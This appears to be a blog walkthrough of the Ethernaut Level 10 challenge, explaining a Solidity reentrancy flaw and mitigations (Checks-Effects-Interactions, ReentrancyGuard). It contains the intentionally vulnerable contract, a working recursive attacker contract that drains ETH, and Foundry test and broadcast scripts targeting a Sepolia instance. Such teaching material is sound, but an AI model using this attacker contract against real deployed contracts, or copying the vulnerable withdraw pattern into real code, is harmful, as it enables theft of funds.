Ethernaut Level 10 Walkthrough: Exploiting Reentrancy in Solidity
In this article, we will analyze and solve Ethernaut Level 10: Reentrancy
This level introduces one of the most famous and dangerous vulnerabilities in smart contract security: the Reentrancy Attack.
Besides solving the challenge, we will also understand:
- What reentrancy is
- Why external calls are dangerous
- How attackers drain vulnerable contracts
- How receive functions work
- How to build a recursive attacker contract
- How to validate the exploit using Foundry and Sepolia
- How to properly defend against reentrancy vulnerabilities
If you are a developer, this article will help you understand why external calls must be handled carefully in Solidity.
If you are interested in smart contract security, this challenge will teach you one of the most important vulnerabilities ever discovered in Ethereum.
If you want to watch the videos where I solved the previous Ethernaut levels and explained real smart contract vulnerabilities, you can check out our channel on YouTube - Seclat, and don't forget to subscribe.
Challenge Description
The vulnerable contract allows users to donate ETH and later withdraw their balance.
Users deposit ETH, their balances are tracked, and they can withdraw their funds whenever they want.
The goal of the challenge is:
Drain all ETH from the vulnerable contract.
Vulnerability Classification
| Category | Value |
|---|---|
| Vulnerability: | Reentrancy |
| Root Cause: | External call before state update |
| Impact: | Complete loss of contract funds |
| Severity: | Critical |
| Attack Type: | Recursive ETH withdrawal |
Vulnerable Contract Analysis
This is the vulnerable contract used in the challenge:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import "openzeppelin-contracts-06/math/SafeMath.sol";
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint256) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}
function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value: _amount}("");
if (result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
Root Cause of the Vulnerability
The vulnerability exists because the contract performs an external call before updating the user's balance and The function does not implement the CEI pattern and does not use a reentrancy guard.
The vulnerable logic is:
(bool result,) = msg.sender.call{value: _amount}("");
followed later by:
balances[msg.sender] -= _amount;
This violates one of the most important security principles in Solidity:
Never perform external interactions before updating internal state.
The issue is that call() transfers execution control to the recipient contract, If the recipient is malicious, it can execute arbitrary code before the original function finishes execution.
This allows attackers to recursively call withdraw() multiple times before their balance is updated, as a result, the attacker can repeatedly withdraw funds even though they only deposited ETH once.
Understanding Reentrancy
A reentrancy attack occurs when:
- A contract sends ETH to an external contract
- The recipient contract executes code during the transfer
- The recipient re-enters the vulnerable function
- Internal state has not yet been updated
- The process repeats recursively
This creates a loop where the attacker continuously drains funds from the contract.
The simplified attack flow looks like this:
withdraw()
└── send ETH to attacker
└── attacker's receive()
└── withdraw() again
└── send ETH again
└── repeat...
This vulnerability became infamous during the 2016 DAO Hack, one of the most important events in Ethereum history.
Why call() is Dangerous
Modern Solidity recommends using:
address.call{value: amount}("")
instead of transfer().However, call() forwards gas dynamically and allows arbitrary execution on the receiver.
This means developers must implement proper protections against reentrancy whenever using external calls.
Using call() safely requires patterns such as:
- Checks-Effects-Interactions (CEI)
- Reentrancy Guards
- Pull payment architectures
The vulnerability is not caused by call() itself.
The real issue is calling external contracts before updating state.
Attack Strategy
Now that we understand the vulnerability, we can design the exploit.
We know that:
- The contract sends ETH using
call() - The external call happens before balance updates
- We can execute code during ETH reception
- The balance remains unchanged during reentry
Therefore, our strategy will be:
- Donate ETH to ourselves
- Call
withdraw() - Trigger recursive withdrawals from
receive() - Repeat until the contract balance becomes zero
Attacker Contract
We will create the following attacker contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {console} from "forge-std/console.sol";
interface Reentrance {
function balances(address) external returns (uint256);
function donate(address) external payable;
function balanceOf(address) external returns (uint256);
function withdraw(uint256) external;
}
contract ReentrancyAttack {
Reentrance public target;
address public owner;
constructor(address _target) {
target = Reentrance(_target);
owner = msg.sender;
}
/// @notice Start the exploit.
function attack() external payable {
require(msg.sender == owner, "Not owner");
// Donate to this contract address
target.donate{value: msg.value}(address(this));
// start the withdrawal
target.withdraw(msg.value);
}
receive() external payable {
uint256 balance = address(target).balance;
console.log("ReentrancyAttack received ether, balance of target:", balance);
if (balance > 0) {
target.withdraw(0.0001 ether);
}
}
}
How the Exploit Works
The attack works recursively.
First:
- We donate ETH to the vulnerable contract
- The contract credits our balance
- We call
withdraw()
Then:
- The vulnerable contract sends ETH back
- Our
receive()function executes automatically - We call
withdraw()again before balance updates - The contract sends ETH again
- The cycle repeats until the contract is drained
Because the balance update happens after the external call, the contract believes we still own the original balance during every recursive call.
Validating the Exploit with Foundry
After cloning the Ethernaut repository locally, we can create a Foundry test to validate the exploit.
// SPDX-License-Identifier: MIT
// Reentrancy_L10.t.sol
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import {Utils} from "test/utils/Utils.sol";
import {DummyFactory} from "src/levels/DummyFactory.sol";
import {ReentrancyAttack, Reentrance} from "test/Solutions/Attacks/ReentrancyAttack.sol";
import {Level} from "src/levels/base/Level.sol";
import {Ethernaut} from "src/Ethernaut.sol";
contract TestReentrancy_L10 is Test, Utils {
Ethernaut ethernaut;
Reentrance instance;
address payable owner;
address payable player;
function setUp() public {
address payable[] memory users = createUsers(2);
owner = users[0];
vm.label(owner, "Owner");
player = users[1];
vm.label(player, "Player");
vm.startPrank(owner);
ethernaut = getEthernautWithStatsProxy(owner);
DummyFactory factory = DummyFactory(getOldFactory("ReentranceFactory"));
ethernaut.registerLevel(Level(address(factory)));
vm.stopPrank();
vm.startPrank(player);
instance = Reentrance(payable(createLevelInstance(ethernaut, Level(address(factory)), 0.001 ether)));
vm.stopPrank();
}
function testInit() public {
vm.startPrank(player);
assertFalse(submitLevelInstance(ethernaut, address(instance)));
}
function testSolve() public {
vm.startPrank(player);
ReentrancyAttack attacker = new ReentrancyAttack(address(instance));
attacker.attack{value: 0.0001 ether}();
assertTrue(submitLevelInstance(ethernaut, address(instance)));
vm.stopPrank();
}
}
Running the Test
To execute the exploit test on a Sepolia fork, run:
forge test --mp Reentrancy_L10.t.sol --mt testSolve --fork-url $SEPOLIA_RPC -vvv
You must configure the SEPOLIA_RPC variable inside your .env file.
If the terminal does not recognize the variable, run:
source .env
Once executed, we can verify that the vulnerable contract is completely drained.
Solving the Level on Sepolia
Now we will create a script to execute the exploit directly against the Ethernaut instance.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {Script} from "forge-std/Script.sol";
import {ReentrancyAttack, Reentrance} from "test/Solutions/Attacks/ReentrancyAttack.sol";
import {console} from "forge-std/console.sol";
contract ReentrancyScript is Script {
Reentrance public target;
ReentrancyAttack public attacker;
function setUp() public {
target = Reentrance(payable("0xYourEthernautInstance"));
}
function run() public {
vm.startBroadcast();
attacker = new ReentrancyAttack(address(target));
attacker.attack{value: 0.0001 ether}();
console.log("Target balance:", address(target).balance);
console.log("Attacker contract Balance:", address(attacker).balance);
vm.stopBroadcast();
}
}
Running the Script
First, execute the script locally:
forge script scripts/Reentrancy.s.sol --rpc-url $SEPOLIA_RPC
If everything works correctly, broadcast it to Sepolia:
forge script scripts/Reentrancy.s.sol --rpc-url $SEPOLIA_RPC --broadcast \
--interactives 1 -vvv
Once the exploit finishes, the vulnerable contract balance becomes zero and the level is solved successfully.
How to Prevent Reentrancy
The standard defense against reentrancy is the CEI Pattern.
Checks-Effects-Interactions Pattern
This pattern requires developers to:
- Perform validations first
- Update state second
- Interact with external contracts last
The vulnerable code:
(bool success,) = msg.sender.call{value: _amount}("");
balances[msg.sender] -= _amount;
should instead become:
balances[msg.sender] -= _amount;
(bool success,) = msg.sender.call{value: _amount}("");
require(success);
This prevents recursive withdrawals because the balance is updated before external execution occurs.
Reentrancy Guards
Another common mitigation is using OpenZeppelin's ReentrancyGuard.
Example:
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract Secure is ReentrancyGuard {
function withdraw() external nonReentrant
{
// secure logic
}
}
This prevents recursive calls into protected functions.
Lessons Learned
This challenge demonstrates why external calls are one of the most dangerous operations in Solidity.
Whenever contracts transfer ETH or call untrusted contracts, developers must assume arbitrary execution can occur.
Key lessons from this level:
- Never update state after external calls
- Always assume external contracts are malicious
- Use CEI whenever possible
- Protect sensitive functions with
ReentrancyGuard - Minimize trust assumptions during ETH transfers
Although Ethernaut simplifies the environment for educational purposes, reentrancy vulnerabilities have caused some of the largest losses in DeFi history.
Conclusion
In this challenge, we exploited a classic reentrancy vulnerability caused by performing external calls before updating internal state.
We created a recursive attacker contract capable of repeatedly withdrawing ETH until the vulnerable contract balance became zero.
This level is one of the most important smart contract security exercises because reentrancy vulnerabilities remain relevant even in modern DeFi protocols.
This challenge is an excellent introduction to:
- Reentrancy attacks
- Recursive external calls
- Unsafe ETH transfer patterns
- CEI security principles
- Secure Solidity development
- Real-world exploit methodology
You can find more Web3 security content on our blog.
If you are looking for a security audit for your protocol, feel free to contact us through our website seclat.xyz.